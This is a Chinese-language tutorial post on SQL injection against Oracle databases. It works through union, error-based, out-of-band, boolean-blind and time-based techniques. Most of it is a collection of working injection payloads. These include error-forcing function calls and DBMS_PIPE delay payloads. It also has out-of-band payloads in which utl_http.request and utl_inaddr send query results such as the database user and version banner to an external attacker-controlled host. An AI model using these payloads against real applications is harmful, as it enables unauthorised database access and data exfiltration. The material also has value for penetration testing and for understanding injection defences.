Oracle注入
Oracle数据库
Oracle数据库也是一种关系数据库,此数据库体量较大,一般与jsp网站联合
既然是关系数据库,肯定也是存在一些关系表,在Oracle数据库中,库的概念被淡化,强调用户
Oracle注入之联合查询
注入原理
其注入原理与MySQL一致,都是基于回显的注入,通过union all select来获取我们想要的数据
引入知识
dual表,此表是Oracle数据库中的一个自带表,有说法这是一个虚拟表,也有的说是一个实表,它实际上位满足查询条件而产生
与MySQL不同的是,在MySQL中查询语句可以直接是:select 1,2,但是在Oracle中就必须跟一个表名,如下:select * from dual
涉及到的基本用法:
select * from all_tables 查询出所有的表
select * from user_tables 查询出当前用户的表
select*from all_tab_columns 查询出所有的字段
select*from user_tab_columns 查询出当前用户的字段
select*from v$version 查版本
rownum=1 (限制查询返回的总行数为一条)
对于rownum来说它是oracle系统顺序分配为从查询返回的行的编号,返回的第一行分配的是1,第二行是2,依此类推,这个伪字段可以用于限制查询返回的总行数。
我们可以用rownum<3来要求他输出2条数据
联合查询实现
这里直接用数据库查询来演示,打开所在位置,如下图
判断字段数,共4个字段,联合查询,下方出现一条空白数据,注意:与MSSQL联合查询类似,只能用null填充,如下
判断字段的数据类型,分别在null两侧添加单引号,第一个字段是整形,剩下的字段都是字符型,如下图
查询,当前表所属用户,相当于当前库,如下
获取数据表名,如下
获取字段名称,如下
获取关键列中的字段数据,如下
报错注入
在MySQL中我们知道有各种报错函数,比如XPATH报错,整形溢出报错之类的,那么在Oracle中存在那些报错函数呢?
dbms_xdb_version.checkin()函数
属于dbms_xdb_version下的checkin功能。此功能检入签出的VCR并返回新创建的版本的资源ID。
语法为:
1 | DBMS_XDB_VERSION.CHECKIN( |
pathname |
签出资源的路径名。 |
---|---|
payload:and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null
dbms_xdb_version.uncheckout()函数
用法与checkin一致,payload:
and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null
dbms_xdb_version.makeversioned()函数
用法与checkin一致,payload:
and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null
dbms_utility.sqlid_to_sqlhash()函数
用法与checkin一致,payload:
and (select dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null
ctxsys.drithsx.sn()函数
此函数去查询关于主题的对应关键词,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误从而爆出查询的内容)语法为:
1 | and 1=ctxsys.drithsx.sn(1,(select user from dual))-- |
其他待测试函数
XMLType()函数
在使用这个的XMLType进行报错时,很多人不知道为什么要用CHR(60),通过ASCII查询可以看到,60:<58: ‘:’,62:’>’,查了下相关的API,发现的XMLType在进行解析的时候必须以<开头>结尾,这里:冒号在这是必不可少的,至于为什么是冒号这个我也没查到,另外需要注意的是如果返回的数据种有空格的话,它会自动截断,导致数据不完整,有替换函数替换成其他非空字符就可以。语法为:
1 | and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null-- |
utl_inaddr.get_host_name()函数
这种方法在Oracle 8g,9g,10g中不需要任何权限,但是在Oracle 11g以及以后的版本中,官方加强了访问控制权限,所以在11g以后要使用此方法进行报错注入,当前数据库用户必须有网络访问权限。语法为:
1 | and 1=utl_inaddr.get_host_name((select user from dual))-- |
ordsys.ord_dicom.getmappingxpath()函数
1 | 语法为:and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)-- |
decode()函数
这种方式更偏向布尔型注入,因为这种方式并不会通过报错把查询结果回显回来,仅是用来作为页面的表现不同的判断方法。
语法为:
1 | and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) -- |
最后上个图
Oracle带外查询
Oracle带外查询有两种思路
第一种
使用Oracle发送HTTP请求,相关函数:utl_http.request(),需要自己搭建外网web服务器,并记录请求的日志信息,然后使用utl_http.request()向外网主机发送http请求,请求便携带了查询的结果信息。此处可以结合SSRF进行内网探测 ,或许这就是Oracle的ssrf。。。
1 | poyload:http://xxx.xxx.xx.xx/xxx/selcet?suser=1&sname=1' and 1=utl_http.request('http://XXXXXXXXXXX/'||(select banner from sys.v_$version where rownum=1)) -- |
第二种
使用Oracle发送DNS请求,相关函数:utl_inaddr.get_host_address()、utl_inaddr.get_host_name(),将查询结果拼接到域名下,并使用DNS记录解析日志
1 | http://xxx.xxx.xx.xx/xxx/selcet?suser=1&sname=1' and (select utl_inaddr.get_host_address((select user from dual)||'.xxx.xxx') from dual)is not null-- |
理解:这两种方式应该对Oracle的版本有要求,应该与utl_inaddr.get_host_name()函数要求一致,11g之后需要网络访问权限
Oracle盲注
布尔盲注
在测试和漏洞挖掘中,并没有出现数据库报错信息,使用测试语句进行测试发现只能通过页面正常与否来判断SQL语句是否执行了,这种情况需要使用布尔盲注,盲注可以使用ASCII(),substr()这种通用组合获取数
常规思路
使用length()函数判断长度,使用ascii()和substr()函数猜解数据,判断用户名长度,如下图
猜解数据,如下图
其他方式
使用decode函数进行布尔盲注,substr(user,1,1)是条件,’B’是要遍历的位置(这里B是用户名的首字母),如果匹配便返回翻译值1,否则使用默认值0。
decode()函数用法。decode(条件,值1,翻译值1,值2,翻译值2,…值n,翻译值n,缺省值)
if(条件==值1)==>返回翻译值1,否则返回默认值
payload:http://xxx.xxx.xx.xx/?id=2'and 1=(select decode(substr(user,1,1),’B’,(1),0) from dual) –+
使用instr进行布尔盲注,(select user from dual)是查询结果数据,instr会返回’B’位置数据在,查询结果中的位置,未找到便返回0,可以通过对‘SQL’位置进行遍历和迭代,获取到数据。类似MYSQL regexp注入的方法。
http://xxx.xxx.xx.xx/?id=2'and 1=(instr((select user from dual),’B’)) –+
instr这种方式在应对重复字符时,只能返回第一个字符的位置,比如字符串’aabbcc’,查找a只能返回1,那这样就查不到第二个相同字符,最后我们得到的返回值是a->1,b->3,c->5,但是我们根据lengtg()函数知道长度是6,那么就可以直接不全了2位置一定是a,如果是别的不可能查不到,也可以得出aabbcc
延迟注入*
测试和漏洞挖掘中,通过页面响应的状态,这里指的是响应时间,通过这种方式判断SQL是否被执行的方式,便是时间盲注;oracle的时间盲注通常使用DBMS_PIPE.RECEIVE_MESSAGE(),这个也是通过SQLMAP源码中发现的
DBMS_PIPE.RECEIVE_MESSAGE(‘任意值’,延迟时间)
实际用法如下
1 | AND 7238=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(USER AS VARCHAR(4000)),CHR(32)) FROM DUAL),1,1))>1) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(106)||CHR(72)||CHR(73),10) ELSE 7238 END) |
而另外一种便是decode()与高耗时SQL操作的组合,当然也可以是case,if 等方式与高耗时操作的组合,这里的高耗时操作指的是,例如:(select count(*) from all_objects),对数据库中大量数据进行查询或其他处理的操作,这样的操作会耗费较多的时间,然后通过这个方式来获取数据。这种方式也适用于其他数据库
实际用法如下
1 | and 1=(select decode(substr(user,1,1),'B',(select count(*) from all_objects),0) from dual)--+ |
参考文章:Oracle注入总结 - py7hon - 博客园
参考文章:SQL注入之重新认识 - FreeBuf网络安全行业门户
参考书籍:《SQL注入攻击与防御》